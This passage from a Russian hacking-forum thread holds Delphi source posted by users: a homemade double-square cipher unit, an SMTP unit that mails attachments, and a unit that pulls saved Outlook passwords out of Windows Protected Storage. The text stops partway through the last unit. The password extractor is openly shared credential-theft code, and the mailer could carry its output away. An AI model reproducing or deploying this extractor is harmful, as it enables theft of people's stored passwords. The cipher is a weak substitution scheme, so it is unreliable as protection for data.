Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Полезные модули для Delphi от Joker-jar (https://forum.antichat.xyz/showthread.php?t=44490)

Joker-jar 15.07.2007 11:20
Полезные модули для Delphi от Joker-jar
 
Накопилось немало различных модулей, вот хочу поделиться с античатом. Здесь постепенно размещу все самое интересное.

1. CryptDBSquare.pas

Модуль предназначен для шифрования методом двойного квадрата. Шифрует, дешифрует строки и файлы. Ключ представляет собой файл, содержащий 2 матрицы 16x16. Модуль имеет функцию генерирования ключа, а также сохранение и загрузки из файла. Также в файле-ключе есть возможность сохранения дополнительных данных, например, логин и срок действия ключа.

Код:
unit CryptDBSquare;

interface

uses
  SysUtils;

type
  LikeStr = string[20];
  TTabl = array[1..16,1..16] of byte;
  TArray = array[0..255] of byte;
  TBuffer = array[0..4095] of byte;
  TKey =
    record
      User, Desc: LikeStr;
      KeyA, KeyB: TTabl
    end;
  IPos =
    record
      horpos, verpos: 1..16
    end;
  KeyFile = file of TKey;

function Crypt(InputStr: string; Key: TKey): string;
procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
function GetDescFromKey(Key: TKey): LikeStr;
function GetIPos(Tabl: TTabl; It: byte): IPos;
function GetUserNameFromKey(Key: TKey): LikeStr;
function GenerateKey(UserName, Desc: LikeStr): TKey;
procedure LoadKey(var Key: TKey; FileName: string);
procedure SaveKey(Key: TKey; FileName: string);
function UnCrypt(InputStr: string; Key: TKey): string;
procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);

implementation

const
  K1 = 64;
  K2 = 28;
  K3 = 16;
  K4 = 13;

function GetIPos(Tabl: TTabl; It: byte): IPos;
var
  i,k: byte;
begin
  for i:=1 to 16 do
    for k:=1 to 16 do
      if Tabl[i,k]=It then
        begin
          result.horpos := i;
          result.verpos := k;
          break;
        end;
end;

procedure FillArray(var A: Tarray);
var
  i, s, r: integer;
begin
  randomize;
  for i := 0 to 31 do
    A[i]:=i;
  for i := 32 to 255 do A[i] := i;
    for i := 255 downto 32 do
      begin
        r := Random(i-32)+32;
        S := A[r]; A[r] := A[i]; A[i] := s;
      end;
end;

function GenerateKey(UserName, Desc: LikeStr): TKey;
var
  TempKey: TKey;
  BufTab: TArray;
  a,i,k: byte;
begin
  FillArray(BufTab);
  for i:=1 to 16 do
    for k:=1 to 16 do
      result.KeyA[i,k]:=BufTab[(16*(i-1))+k-1];
  FillArray(BufTab);
  for i:=1 to 16 do
    for k:=1 to 16 do
      result.KeyB[i,k]:=BufTab[(16*(i-1))+k-1];
  TempKey := result;
  result.User := Crypt(UserName, TempKey);
  result.Desc := Crypt(Desc, TempKey);
end;

function GetUserNameFromKey(Key: TKey): LikeStr;
begin
  result := UnCrypt(Key.User, Key);
end;

function GetDescFromKey(Key: TKey): LikeStr;
begin
  result := UnCrypt(Key.Desc, Key);
end;

function CryptSimText(InputStr: string; Key: TKey): string;
var
  i: integer;
  Temp: string;
  p1,p2:IPos;
begin
  result:='';
  Temp:=InputStr;
    while Temp<>'' do
      begin
        p1:=GetIPos(Key.KeyA,ord(Temp[1]));
        p2:=GetIPos(Key.KeyB,ord(Temp[2]));
        if p1.horpos = p2.horpos then
          begin
            result:=result+chr(Key.KeyB[p1.horpos,p1.verpos]);
            result:=result+chr(Key.KeyA[p2.horpos,p2.verpos]);
            delete(temp,1,2);
          end
        else
          begin
            result:=result+chr(Key.KeyB[p1.horpos,p2.verpos]);
            result:=result+chr(Key.KeyA[p2.horpos,p1.verpos]);
            delete(temp,1,2);
          end;
      end;
end;

function Crypt(InputStr: string; Key: TKey): string;
var
  a: string;
begin
  if not odd(length(InputStr)) then
    result:=CryptSimText(InputStr,Key)
  else
    begin
      a:=copy(InputStr,length(InputStr),1);
      delete(InputStr,length(InputStr),1);
      result:=CryptSimText(InputStr,Key)+a;
    end;
end;

function CryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
var
  i: integer;
  Temp: TBuffer;
  p1,p2:IPos;
begin
  Temp:=Buf;
  for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
    begin
      p1:=GetIPos(Key.KeyA,Temp[i]);
      p2:=GetIPos(Key.KeyB,Temp[i+1]);
      if p1.horpos = p2.horpos then
        begin
          result[i]:=Key.KeyB[p1.horpos,p1.verpos];
          result[i+1]:=Key.KeyA[p2.horpos,p2.verpos];
        end
      else
        begin
          result[i]:=Key.KeyB[p1.horpos,p2.verpos];
          result[i+1]:=Key.KeyA[p2.horpos,p1.verpos];
        end;
    end;
end;


procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
var
  FromF, ToF: file;
  NumRead, NumWritten, i: Integer;
  Buf: TBuffer;
  TempStr: string;
begin
  AssignFile(FromF, InputFileName);
  Reset(FromF, 1);
  AssignFile(ToF, OutputFileName);
  Rewrite(ToF, 1);
    repeat
      BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
      Buf := CryptBlockOfBytes(Buf, Key);
      BlockWrite(ToF, Buf, NumRead, NumWritten);
    until
      (NumRead = 0) or (NumWritten <> NumRead);
  CloseFile(FromF);
  CloseFile(ToF);
end;

function UnCryptSimText(InputStr: string; Key: TKey): string;
var
  i: integer;
  Temp: string;
  p1,p2:IPos;
begin
  result:='';
  Temp:=InputStr;
    while Temp<>'' do
      begin
        p1:=GetIPos(Key.KeyB,ord(Temp[1]));
        p2:=GetIPos(Key.KeyA,ord(Temp[2]));
        if p1.horpos = p2.horpos then
          begin
            result:=result+chr(Key.KeyA[p1.horpos,p1.verpos]);
            result:=result+chr(Key.KeyB[p2.horpos,p2.verpos]);
            delete(temp,1,2);
          end
        else
          begin
            result:=result+chr(Key.KeyA[p1.horpos,p2.verpos]);
            result:=result+chr(Key.KeyB[p2.horpos,p1.verpos]);
            delete(temp,1,2);
          end;
      end;
end;

function UnCrypt(InputStr: string; Key: TKey): string;
var
  a: string;
begin
  if not odd(length(InputStr)) then
    result:=UnCryptSimText(InputStr,Key)
  else
    begin
      a:=copy(InputStr,length(InputStr),1);
      delete(InputStr,length(InputStr),1);
      result:=UnCryptSimText(InputStr,Key)+a;
    end;
end;

function UnCryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
var
  i: integer;
  Temp: TBuffer;
  p1,p2:IPos;
begin
  Temp:=Buf;
  for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
    begin
      p1:=GetIPos(Key.KeyB,Temp[i]);
      p2:=GetIPos(Key.KeyA,Temp[i+1]);
      if p1.horpos = p2.horpos then
        begin
          result[i]:=Key.KeyA[p1.horpos,p1.verpos];
          result[i+1]:=Key.KeyB[p2.horpos,p2.verpos];
        end
      else
        begin
          result[i]:=Key.KeyA[p1.horpos,p2.verpos];
          result[i+1]:=Key.KeyB[p2.horpos,p1.verpos];
        end;
    end;
end;

procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);
var
  FromF, ToF: file;
  NumRead, NumWritten, i: Integer;
  Buf: TBuffer;
  TempStr: string;
begin
  AssignFile(FromF, InputFileName);
  Reset(FromF, 1);
  AssignFile(ToF, OutputFileName);
  Rewrite(ToF, 1);
    repeat
      BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
      Buf := UnCryptBlockOfBytes(Buf, Key);
      BlockWrite(ToF, Buf, NumRead, NumWritten);
    until
      (NumRead = 0) or (NumWritten <> NumRead);
  CloseFile(FromF);
  CloseFile(ToF);
end;

procedure SaveKey(Key: TKey; FileName: string);
var
  KF: KeyFile;
begin
  assignfile(KF,FileName);
  rewrite(KF);
  write(KF,Key);
  closefile(KF);
end;

procedure LoadKey(var Key: TKey; FileName: string);
var
  KF: KeyFile;
begin
  assignfile(KF,FileName);
  reset(KF);
  read(KF,Key);
  closefile(KF);
end;

end.
1. smtp.pas

Модуль для тех, кто любит писать программульки с помощью KOL. Отправляет письма с html-форматированием и файловыми атачами. Получается очень маленький размер exe. В принципе, за пару минут модуль можно подогнать и под чистый API.

Код:
unit SMTP;

{*******************************************************}
{            SMTP - Модуль для Delphi+KOL              }
{ Version:  1.0                                        }
{ E-Mail:    joker-jar@kbrdhook.com                    }
{ Created:  October  08, 2006                          }
{ Legal:    Copyright (c) 2006, Joker-jar              }
{*******************************************************}
{ ТИПЫ:                                                }
{  TLetter - струтура письма                          }
{            NeedAuth - нужна ли аутентификация        }
{            mHost - адрес сервера SMTP                }
{            uName, uPass - имя пользователя, пароль  }
{            mFromName, mFrom - имя, адрес отправителя }
{            mToName, mTo - имя, адрес получателя      }
{            Subject - тема письма                    }
{            mBody - тело письма                      }
{*******************************************************}
{ КОНСТАНТЫ:                                            }
{  TimeOut - Максимальное время ожидания ответа от    }
{            сервера                                  }
{                                                      }
{  Bound - Разделитель блоков в теле письма            }
{                                                      }
{  MIME - Заголовок MIME                              }
{*******************************************************}
{ ПРОЦЕДУРЫ:                                            }
{  OpenMIME - Устанавливает в начало тела письма      }
{              MIME заголовок. Вызывается один раз      }
{              при заполнении тела письма.              }
{                                                      }
{  CloseMIME - Устанавливает в конец тела письма      }
{              метку об окончании MIME. Вызывается    }
{              один раз по завершению заполнения      }
{              тела письма.                            }
{                                                      }
{  AddHTMLBlockToBody - Добавляет HTML блок к телу    }
{                        письма. Прежде чем            }
{                        использовать, убедитесь,      }
{                        что инициализирован MIME      }
{                        командой OpenMIME в начале    }
{                        тела письма.                  }
{                                                      }
{  AttachFileToBody - Прикрепляет произвольный файл    }
{                      к телу письма. Прежде чем        }
{                      использовать, убедитесь, что    }
{                      инициализирован MIME командой    }
{                      OpenMIME в начале тела письма.  }
{                                                      }
{                                                      }
{  SMTPConnectAndSendMail - Процедура отправляет      }
{                            письмо и выводит ответы    }
{                            сервера в Memo,            }
{                            переданное как OutServAns  }
{                            (Можно в качестве          }
{                            OutServAns передать nil)  }
{*******************************************************}

interface

uses
  KOL, Windows, Winsock;

type
  Tarray = array of string;
  TLetter =
    record
      NeedAuth: boolean;
      mHost, uName, uPass, mFrom,
      mTo, mFromName, mToName, Subject: string;
      mBody: Tarray;
    end;

const
  TimeOut = 1000;
  Bound = 'ENDBLOCK';
  MIME = 'MIME-Version:1.0';

procedure OpenMIME(var mBody: TArray);
procedure CloseMIME(var mBody: TArray);
procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
procedure AttachFileToBody(var mBody: TArray; Filename: string);
procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);

implementation

type
  TAByte = array [0..maxInt-1] of byte;
  TPAByte = ^TAByte;

const
  CtrlF = #13#10;

var
  WSA:TWSAData;
  MailSocket:TSocket;
  SMTPServer:TSockAddr;

function MyInc(var i:integer): integer;
begin
  inc(i);
  result := i;
end;

function GetComputerNetName: string;
var
  buffer: array[0..255] of char;
  size: dword;
begin
  size := 256;
  if GetComputerName(buffer, size) then
    Result := buffer
  else
    Result := ''
end;

function B64Encode(data:string) : string; overload;
const
  b64 : array [0..63] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  ic,len : integer;
  pi, po : TPAByte;
  c1 : dword;
begin
  len:=length(data);
  if len > 0 then
    begin
      SetLength(result, ((len + 2) div 3) * 4);
      pi := pointer(data);
      po := pointer(result);
      for ic := 1 to len div 3 do
        begin
          c1 := pi^[0] shl 16 + pi^[1] shl 8 + pi^[2];
          po^[0] := byte(b64[(c1 shr 18) and $3f]);
          po^[1] := byte(b64[(c1 shr 12) and $3f]);
          po^[2] := byte(b64[(c1 shr 6) and $3f]);
          po^[3] := byte(b64[(c1 ) and $3f]);
          inc(dword(po), 4);
          inc(dword(pi), 3);
        end;
      case len mod 3 of
        1:
          begin
            c1 := pi^[0] shl 16;
            po^[0] := byte(b64[(c1 shr 18) and $3f]);
            po^[1] := byte(b64[(c1 shr 12) and $3f]);
            po^[2] := byte('=');
            po^[3] := byte('=');
          end;
        2 :
          begin
            c1 := pi^[0] shl 16 + pi^[1] shl 8;
            po^[0] := byte(b64[(c1 shr 18) and $3f]);
            po^[1] := byte(b64[(c1 shr 12) and $3f]);
            po^[2] := byte(b64[(c1 shr 6) and $3f]);
            po^[3] := byte('=');
          end;
      end;
    end
  else
    result := '';
end;

function LookupName(host: string): TInAddr;
var
  HostEnt: PHostEnt;
  InAddr: TInAddr;
begin
  HostEnt := gethostbyname(PChar(host));
  FillChar(InAddr, SizeOf(InAddr), 0);
  if HostEnt <> nil then
    begin
      with InAddr, HostEnt^ do
        begin
          S_un_b.s_b1 := h_addr^[0];
          S_un_b.s_b2 := h_addr^[1];
          S_un_b.s_b3 := h_addr^[2];
          S_un_b.s_b4 := h_addr^[3];
        end;
    end;
  Result := InAddr;
end;

function SMTPRecvReply(MailSocket:TSocket):string;
var
  t: integer;
  Buffer:Array[0..255] of char;
begin
  ZeroMemory(@Buffer,256);
  t:=GetTickCount;
    repeat
    until
      (Recv(MailSocket,Buffer,SizeOf(Buffer),0)>0)or(GetTickCount - t >= TimeOut);
  result := buffer+CTRLF;
end; 

procedure SMTPSendString(MailSocket:TSocket;Str:string);
var
  Buffer:Array[0..255] of char;
begin
  StrPCopy(Buffer,Str);
  Send(MailSocket,Buffer,length(Str),0);
end;

procedure SendComandAndWaitAnswer(MailSocket: TSocket;OutServAns: Pcontrol;Str: string);
begin
  SMTPSendString(MailSocket,Str);
  if Assigned(OutServAns) then
    begin
      OutServAns.Add(SMTPRecvReply(MailSocket));
      OutServAns.Perform($0115, SB_BOTTOM,0);
    end;
end;

procedure AddstringToBody(var mBody: Tarray; str: String);
var
  m: integer;
begin
  m := high(mBody);
  setlength(mBody,m+2);
  mBody[m+1]:=str;
end;

procedure OpenMIME(var mBody: TArray);
var
  i: integer;
begin
  i:=0;
  setlength(mBody, 3);
  mBody[i] := MIME;
  mBody[myinc(i)] := 'Content-Type: multipart/mixed; boundary="'+Bound+'"';
  mBody[myinc(i)] := '--'+Bound;
end;

procedure CloseMIME(var mBody: TArray);
begin
  mBody[High(mBody)] := mBody[High(mBody)]+'--';
end;


procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
begin
  AddstringToBody(mBody,'Content-Type: text/html; charset=Windows-1251');
  AddstringToBody(mBody,'Content-Transfer-Encoding: 8bit');
  AddstringToBody(mBody, '');
  AddstringToBody(mBody, HTMLtext);
  AddstringToBody(mBody,'--'+Bound);
end;

procedure AttachFileToBody(var mBody: TArray; Filename: string);
var
  k: integer;
  c: byte;
  tempStr: string;
  F: file of byte;
begin
  if (not fileexists(filename))or(filesize(filename)=0) then
    exit;
  AddstringToBody(mBody,'Content-Type: application/octet-stream; name="'+ExtractFileName(FileName)+'"');
  AddstringToBody(mBody,'Content-Disposition: attachment; filename="'+ExtractFileName(FileName)+'"');
  AddstringToBody(mBody,'Content-Transfer-Encoding: base64');
  AddstringToBody(mBody,'');
  k:=0;
  AssignFile(F, FileName);
  Reset(F);
    repeat
      inc(k);
      Read(F, c);
      tempstr:=tempstr+chr(c);
      if k mod 38 = 0 then
        begin
          AddstringToBody(mBody, b64encode(tempstr));
          tempstr:='';
        end;
    until
      (eof(F));
  CloseFile(F);
  AddstringToBody(mBody, b64encode(tempstr));
  AddstringToBody(mBody,'--'+Bound);
end;

procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);
var
  i: integer;
begin
  WSAStartup(MAKEWORD(1,0),WSA);
  MailSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  ZeroMemory(@SMTPServer,SizeOf(SMTPServer));
  SMTPServer.sin_family:=AF_INET;
  SMTPServer.sin_port:=htons(25);
  SMTPServer.sin_addr:=LookupName(Letter.mHost);
  if Connect(MailSocket,SMTPServer,SizeOf(SMTPServer))=0 then
    begin
      SendComandAndWaitAnswer(mailsocket, OutServAns, 'HELO '+ GetComputerNetName + CTRLF);
      if Letter.NeedAuth then
        SendComandAndWaitAnswer(mailsocket, OutServAns, 'AUTH LOGIN ' + CTRLF + b64encode(Letter.uName) + CTRLF + b64encode(Letter.uPass) + CTRLF);
      SendComandAndWaitAnswer(mailsocket, OutServAns, 'MAIL FROM:' + Letter.mFrom + CTRLF + 'RCPT TO:' + Letter.mTo + CTRLF);
      SendComandAndWaitAnswer(mailsocket, OutServAns, 'DATA' + CTRLF + 'From: "' + Letter.mFromName + '" <' + Letter.mFrom + '>' + CTRLF + 'To: "' + Letter.mToName + '" <' + Letter.mTo + '>' + CTRLF + 'Subject: ' + Letter.Subject + CTRLF);
      for i:=0 to high(Letter.mBody) do
        SMTPSendString(mailsocket,Letter.mBody[i]+CTRLF);
      SendComandAndWaitAnswer(mailsocket, OutServAns, CTRLF+'.'+CTRLF+CTRLF+'QUIT');
    end
  else
    if Assigned(OutServAns) then
      OutServAns.Add('Unable to connect to '+Letter.mHost);
  CloseSocket(MailSocket);
  WSACleanup;
end;

end.
Если кому-то что-то непонятно, пишите. Покажу на примерах.

Knight_of_Darkness 15.07.2007 23:50
В свою очередь делюсь: модуль для извлечения паролей из Protected Storage И файл интерфейсов к нему:

Код:

unit PStorageIntfs;

                                                         
{$TYPEDADDRESS OFF}

{$WRITEABLECONST ON}

interface

const

  PSTORECLibMajorVersion = 1;
  PSTORECLibMinorVersion = 0;

  LIBID_PSTORECLib: TGUID = '{5A6F1EBD-2DB1-11D0-8C39-00C04FD9126B}';

  IID_IEnumPStoreProviders: TGUID = '{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}';
  IID_IPStore: TGUID = '{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}';
  IID_IEnumPStoreTypes: TGUID = '{789C1CBF-31EE-11D0-8C39-00C04FD9126B}';
  IID_IEnumPStoreItems: TGUID = '{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}';
type

  PStorageItem = ^TStorageItem;
  TStorageItem = record
    T: BYTE;
    pType: TGUID;
    pSubtype: TGUID;
    pItem: ShortString;
  end;

  PStorageSubtype = ^TStorageSubtype;
  TStorageSubtype = record
    T: BYTE;
    pType: TGUID;
    pSubtype: TGUID;
  end;

  PStorageType = ^TStorageType;
  TStorageType = record
    T: BYTE;
    pType: TGUID;
  end;

  PProviderInfo = ^TProviderInfo;
  TProviderInfo = record
    GUID: TGUID;
    Capabilities: LongWord;
    ProviderName: ShortString;
  end;

  IEnumPStoreProviders = interface;
  IPStore = interface;
  IEnumPStoreTypes = interface;
  IEnumPStoreItems = interface;


  CPStore = IEnumPStoreProviders;
  CEnumTypes = IEnumPStoreTypes;
  CEnumItems = IEnumPStoreItems;


  PUserType1 = ^_PST_PROVIDERINFO; {*}
  PByte1 = ^Byte; {*}
  PUserType2 = ^TGUID; {*}
  PUserType3 = ^_PST_TYPEINFO; {*}
  PUserType4 = ^_PST_ACCESSRULESET; {*}
  PPUserType1 = ^IEnumPStoreTypes; {*}
  PUserType5 = ^_PST_PROMPTINFO; {*}
  PPUserType2 = ^IEnumPStoreItems; {*}

  _PST_PROVIDERINFO = packed record
    cbSize: LongWord;
    ID: TGUID;
    Capabilities: LongWord;
    szProviderName: PWideChar;
  end;

  _PST_TYPEINFO = packed record
    cbSize: LongWord;
    szDisplayName: PWideChar;
  end;

  _PST_ACCESSCLAUSE = packed record
    cbSize: LongWord;
    ClauseType: LongWord;
    cbClauseData: LongWord;
    pbClauseData: ^Byte;
  end;

  _PST_ACCESSRULE = packed record
    cbSize: LongWord;
    AccessModeFlags: LongWord;
    cClauses: LongWord;
    rgClauses: ^_PST_ACCESSCLAUSE;
  end;

  _PST_ACCESSRULESET = packed record
    cbSize: LongWord;
    cRules: LongWord;
    rgRules: ^_PST_ACCESSRULE;
  end;

  _PST_PROMPTINFO = packed record
    cbSize: LongWord;
    dwPromptFlags: LongWord;
    hwndApp: LongWord;
    szPrompt: PWideChar;
  end;


  IEnumPStoreProviders = interface(IUnknown)
    ['{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}']
    function  Next(celt: LongWord; out rgelt: PUserType1; var pceltFetched: LongWord): HResult; stdcall;
    function  Skip(celt: LongWord): HResult; stdcall;
    function  Reset: HResult; stdcall;
    function  Clone(out ppenum: IEnumPStoreProviders): HResult; stdcall;
  end;


  IPStore = interface(IUnknown)
    ['{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}']
    function  GetInfo(out ppProperties: PUserType1): HResult; stdcall;
    function  GetProvParam(dwParam: LongWord; out pcbData: LongWord; out ppbData: PByte1;
                          dwFlags: LongWord): HResult; stdcall;
    function  SetProvParam(dwParam: LongWord; cbData: LongWord; var pbData: Byte; dwFlags: LongWord): HResult; stdcall;
    function  CreateType(Key: LongWord; var pType: TGUID; var pInfo: _PST_TYPEINFO;
                        dwFlags: LongWord): HResult; stdcall;
    function  GetTypeInfo(Key: LongWord; var pType: TGUID; out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall;
    function  DeleteType(Key: LongWord; var pType: TGUID; dwFlags: LongWord): HResult; stdcall;
    function  CreateSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
                            var pInfo: _PST_TYPEINFO; var pRules: _PST_ACCESSRULESET;
                            dwFlags: LongWord): HResult; stdcall;
    function  GetSubtypeInfo(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
                            out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall;
    function  DeleteSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; dwFlags: LongWord): HResult; stdcall;
    function  ReadAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
                                out ppRules: PUserType4; dwFlags: LongWord): HResult; stdcall;
    function  WriteAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
                                var pRules: _PST_ACCESSRULESET; dwFlags: LongWord): HResult; stdcall;
    function  EnumTypes(Key: LongWord; dwFlags: LongWord; var ppenum: IEnumPStoreTypes): HResult; stdcall;
    function  EnumSubtypes(Key: LongWord; var pType: TGUID; dwFlags: LongWord;
                          var ppenum: IEnumPStoreTypes): HResult; stdcall;
    function  DeleteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
                        szItemName: PWideChar; var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall;
    function  ReadItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
                      szItemName: PWideChar; out pcbData: LongWord; out ppbData: Pointer;
                      var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall;
    function  WriteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
                        szItemName: PWideChar; cbData: LongWord; var pbData: Byte;
                        var pPromptInfo: _PST_PROMPTINFO; dwDefaultConfirmationStyle: LongWord;
                        dwFlags: LongWord): HResult; stdcall;
    function  OpenItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
                      szItemName: PWideChar; ModeFlags: LongWord;
                      var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall;
    function  CloseItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
                        szItemName: PWideChar; dwFlags: LongWord): HResult; stdcall;
    function  EnumItems(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
                        dwFlags: LongWord; var ppenum: IEnumPStoreItems): HResult; stdcall;
  end;


  IEnumPStoreTypes = interface(IUnknown)
    ['{789C1CBF-31EE-11D0-8C39-00C04FD9126B}']
    function  Next(celt: LongWord; out rgelt: TGUID; var pceltFetched: LongWord): HResult; stdcall;
    function  Skip(celt: LongWord): HResult; stdcall;
    function  Reset: HResult; stdcall;
    function  Clone(out ppenum: IEnumPStoreTypes): HResult; stdcall;
  end;

  IEnumPStoreItems = interface(IUnknown)
    ['{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}']
    function  Next(celt: LongWord; out rgelt: PWideChar; var pceltFetched: LongWord): HResult; stdcall;
    function  Skip(celt: LongWord): HResult; stdcall;
    function  Reset: HResult; stdcall;
    function  Clone(out ppenum: IEnumPStoreItems): HResult; stdcall;
  end;

implementation

end.
Код:
unit OutlookDecrypt;

interface

uses
  Windows,
  PStorageIntfs;//заголовочный файл

function GetOutlookPass: string;

implementation

type
  PTChar = ^Char;
  TMyGUID = array of TGUID;
  TPStoreCreateInstance = function(var ppProvider: IPStore; pProviderID: PGUID; pReserved: Pointer; dwFlags: DWORD): HRESULT; stdcall;
var
FLibrary: THandle;
PStoreCreateInstance: TPStoreCreateInstance;
FProvider: IPStore;
Pass: string;

procedure CoTaskMemFree(pv: Pointer); stdcall; external 'ole32.dll' name 'CoTaskMemFree';
function StringFromCLSID(const clsid: TGUID; out psz: PWideChar): HResult; stdcall; external 'ole32.dll' name 'StringFromCLSID';

function PStorageConnect: Boolean;// Соединяемся с хранилищем
begin
  Result := False;
  if (PStoreCreateInstance(FProvider, nil, nil, 0) <> S_OK) or (FProvider = nil) then
  begin
    FProvider := nil;
    Exit;
  end;
  Result := True;
end;

function InitLib: boolean;//Пытаемся загрузить функцию
begin
  result:=false;
  FLibrary := LoadLibrary('pstorec.dll');
  if FLibrary = 0 then Exit;
  PStoreCreateInstance := GetProcAddress(FLibrary, 'PStoreCreateInstance');
  if @PStoreCreateInstance = nil then
  begin
    FreeLibrary(FLibrary);
    exit;
  end;
  result:=true;
end;

function PStorageGetProviderInfo: TProviderInfo;
var
  ppInfo: PUserType1;
begin
  if FProvider.GetInfo(ppInfo) = S_OK then
  begin
    Result.GUID := ppInfo.ID;
    Result.Capabilities := ppInfo.Capabilities;
    Result.ProviderName := String(ppInfo.szProviderName);
  end;
end;

function PStorageGetTypeName(pGUID: TGUID): String;
var
  pst: PUserType3;
begin
  pst := nil;
  if (FProvider.GetTypeInfo(0, pGUID, pst, 0) = S_OK) and (pst <> nil) then
  begin
    Result := String(pst^.szDisplayName);
    CoTaskMemFree(pst);
  end;
end;

function PStorageGetSubtypeName(pType, pSubtype: TGUID): String;
var
  pst: PUserType3;
begin
  pst := nil;
  if (FProvider.GetSubtypeInfo(0, pType, pSubType, pst, 0) = S_OK) and (pst <> nil) then
  begin
    Result := String(pst^.szDisplayName);
    CoTaskMemFree(pst);
  end;
end;

function FillPromptInfoStruct: _PST_PROMPTINFO;
begin
  Result.cbSize := SizeOf(_PST_PROMPTINFO);
  Result.dwPromptFlags := 4;
  Result.hwndApp := 0;
  Result.szPrompt := '';
end;

function PStorageReadItemData(pType, pSubtype: TGUID; pItem: ShortString; var Data: Pointer; var DataLen: LongWord): Boolean;
var
  pspi: _PST_PROMPTINFO;
begin
  pspi := FillPromptInfoStruct;
  DataLen := 0;
  Data := nil;
  Result := FProvider.ReadItem(0, pType, pSubtype, StringToOleStr(pItem), DataLen, Data, pspi, 0) = S_OK;
end;

function DumpData(Buffer: Pointer; BufLen: DWord): String;
var
  i, j, c: Integer;
begin
  c := 0;
  Result := '';
  for i := 1 to BufLen div 16 do
  begin
    for j := c to c + 15 do
      if (PByte(Integer(Buffer) + j)^ < $20) or (PByte(Integer(Buffer) + j)^ > $7F) then
        Result := Result + '.'
      else
        Result := Result + PTChar(Integer(Buffer) + j)^;
    c := c + 16;
//    Result := Result + #13#10;
  end;
  if BufLen mod 16 <> 0 then
    for i := BufLen mod 16 downto 1 do
      if (PByte(Integer(Buffer) + Integer(BufLen) - i)^ < $20) or (PByte(Integer(Buffer) + Integer(BufLen) - i)^ > $7F) then
//        Result := Result + '.'
      else
        Result := Result + PTChar(Integer(Buffer) + Integer(BufLen) - i)^;
end;

function GUIDToString(const GUID: TGUID): string;
var
  P: PWideChar;
begin
  if not Succeeded(StringFromCLSID(GUID, P)) then exit;
  Result := P;
  CoTaskMemFree(P);
end;

procedure ReadValue(Caption:string; flag: byte; pType, pSubType: TGUID);
var
  Mem: Pointer;
  MemLen: Cardinal;
//  i:integer;
begin
  case flag of
{    0:  //ветвь
      pass:=pass+#13#10+Caption+': ' + GUIDToString(pType)+#13#10;
    1:  //подветвь
      pass:=pass+Caption+': ' + GUIDToString(pSubType)+#13#10;}
    2: //значения
      begin
        if PStorageReadItemData(pType, pSubtype, Caption, Mem, MemLen) and (Mem <> nil) then
        begin
          Caption[length(Caption)-7]:=#0;
          Caption:=PChar(Caption);
          pass:=pass+'Data('+Caption+'):Pass('+DumpData(Mem, MemLen)+'); ';  //hex->ASCII
          CoTaskMemFree(Mem);
        end;// else
//        pass:=pass+'Coult not read item data'+#13#10;
      end;
  end;
end;

procedure ExpandPSProvider;
var
  ppEnum: IEnumPStoreTypes;
  ppEnumItems: IEnumPStoreItems;
  GUIDBuf: array[0..15] of TGUID;
  ItemBuf: array[0..15] of PWideChar;
  ItemsRead: Cardinal;

  TypesList: TMyGUID;
  SubtypesList: TMyGUID;
  ItemsList: array of string;

  i3, i2, i, j, k: Integer;
  pType: PStorageType;
  pSubtype: PStorageSubType;
  pItem: PStorageItem;
begin
//получаем корень
//  pass:='Connected to ' + PStorageGetProviderInfo.ProviderName + '...'#13#10;
//Загоняем в TypesList интерфейс главных ветвей
  ppEnum := nil;
  if (FProvider.EnumTypes(0, 0, ppEnum) <> S_OK) or (ppEnum = nil) then
  begin
    Exit;
    ppEnum := nil;
  end;
  ItemsRead := 0;
  repeat
    ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead);
    if ItemsRead > 0 then
    begin
      SetLength(TypesList,ItemsRead);
      for i := 0 to ItemsRead-1 do TypesList[i]:=GUIDBuf[i];
    end;
  until ItemsRead = 0;
  ppEnum := nil;
//Считываем значения главных ветвей
  for i := 0 to high(TypesList) do
  begin
    New(pType);
    pType.T := 0;
    pType.pType := TypesList[i];
